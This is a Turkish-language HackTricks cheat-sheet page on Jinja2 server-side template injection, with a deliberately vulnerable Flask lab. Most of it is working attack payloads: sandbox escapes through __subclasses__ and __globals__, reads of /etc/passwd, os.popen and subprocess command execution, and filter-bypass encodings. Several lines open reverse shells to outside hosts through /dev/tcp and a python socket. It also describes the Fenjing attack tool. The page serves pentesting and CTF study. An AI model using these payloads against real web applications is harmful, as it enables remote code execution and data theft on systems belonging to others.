15 KiB
Jinja2 SSTI
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- [Resmi PEASS & HackTricks ürünleri]'ni edinin (https://peass.creator-spring.com)
- [The PEASS Family]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [NFT'ler] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
- Katılın 💬 [Discord grubuna] (https://discord.gg/hRep4RUj7f) veya [telegram grubuna] veya bizi Twitter 🐦 [@carlospolopm] (https://twitter.com/hacktricks_live).
- Hacking hilelerinizi paylaşarak PR göndererek HackTricks (https://github.com/carlospolop/hacktricks) ve [HackTricks Cloud] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
Lab
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Hata Ayıklama İfadesi
Eğer Hata Ayıklama Uzantısı etkinse, mevcut bağlamı ve mevcut filtreleri ve testleri görüntülemek için bir debug
etiketi kullanılabilir hale gelir. Bu, bir hata ayırıcı kurmadan şablon içinde kullanılabilir olanları görmek için faydalıdır.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Tüm yapılandırma değişkenlerini dök
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinja Enjeksiyonu
İlk olarak, bir Jinja enjeksiyonunda kum havuzundan kaçmak ve düzenli python yürütme akışına erişimi geri kazanmak gerekmektedir. Bunu yapabilmek için, kum havuzundan erişilebilir olan nesneleri istismar etmeniz gerekmektedir.
Global Nesnelere Erişim
Örneğin, render_template("hello.html", username=username, email=email)
kodunda, username ve email nesneleri kum havuzundan olmayan python ortamından gelir ve kum havuzunda erişilebilir olacaktır.
Ayrıca, kum havuzunda her zaman erişilebilir olan diğer nesneler bulunmaktadır, bunlar:
[]
''
()
dict
config
request
<class 'object'> Kurtarma
Ardından, bu nesnelerden sınıfa ulaşmamız gerekiyor: <class 'object'>
tanımlı sınıfları kurtarmak için. Bu, bu nesneden __subclasses__
yöntemini çağırabilir ve kum havuzuna alınmamış python ortamından tüm sınıflara erişebiliriz.
Bu nesne sınıfına erişmek için bir sınıf nesnesine erişmeniz ve ardından __base__
, __mro()[-1]
veya .
mro()[-1]
'e erişmeniz gerekir. Ve sonra, bu nesne sınıfına ulaştıktan sonra __subclasses__()
yöntemini çağırırız.
Bu örnekleri kontrol edin:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Kaçışı
<class 'object'>
'ı kurtardıktan sonra ve __subclasses__
'ı çağırdıktan sonra, bu sınıfları kullanarak dosyaları okuyup yazabilir ve kodları yürütebiliriz.
__subclasses__
'a yapılan çağrı bize yüzlerce yeni işlevi erişme fırsatı verdi, sadece dosya sınıfına erişerek veya os
gibi komutları yürütmeye izin veren bir sınıfa erişerek mutlu olacağız.
Uzak dosya okuma/yazma
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Uzaktan Kod Çalıştırma (RCE)
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Daha fazla sınıf hakkında bilgi edinmek için kaçış yapabileceğiniz sınıfları kontrol edebilirsiniz:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Filtre kaçakları
Yaygın kaçaklar
Bu kaçaklar, bazı karakterleri kullanmadan nesnelerin özelliklerine erişmemizi sağlayacaktır.
Bu kaçakları zaten önceki örneklerde gördük, ancak burada onları özetleyelim:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Daha fazla seçenek için buraya dönün ve global bir nesneye erişin
- Nesne sınıfına erişmek için daha fazla seçenek için buraya dönün
- Nesne sınıfı olmadan RCE elde etmek için bunu okuyun
HTML kodlamasından kaçınma
Varsayılan olarak Flask, güvenlik nedenleriyle şablon içindeki tüm içeriği HTML kodlar:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
safe
filtresi, sayfaya JavaScript ve HTML enjekte etmemize olanak tanırken bunların HTML koduna dönüştürülmeden eklenmesini sağlar, örneğin:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
Kötü niyetli bir yapılandırma dosyası yazarak Uzaktan Kod Çalıştırma (RCE).
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Birkaç karakter olmadan
{{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinja Enjeksiyonu <class 'object'> kullanmadan
global nesnelerden başka bir yol daha vardır o sınıfı kullanmadan RCE'ye ulaşmak için.
Eğer bu global nesnelerden herhangi bir fonksiyona ulaşmayı başarırsanız, __globals__.__builtins__
'e erişebilecek ve buradan RCE'ye çok kolayca ulaşabileceksiniz.
request
, config
ve erişiminiz olan diğer ilginç global nesnelerden fonksiyonları bulabilirsiniz.
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Birkaç işlev bulduktan sonra builtins'i şu şekilde kurtarabilirsiniz:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
WAF bypası Fuzzing
Fenjing https://github.com/Marven11/Fenjing özel olarak CTF'lerde uzmanlaşmış bir araç olup gerçek senaryoda geçersiz parametreleri kaba kuvvet uygulamak için de kullanışlı olabilir. Araç sadece kelimeleri ve sorguları püskürtür, filtreleri tespit etmek, bypas aramak ve ayrıca etkileşimli bir konsol sağlamak için kullanılır.
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
Referanslar
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- Buradan yasaklı karakterleri atlatmak için attr hilesini kontrol edin.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking hilelerinizi paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.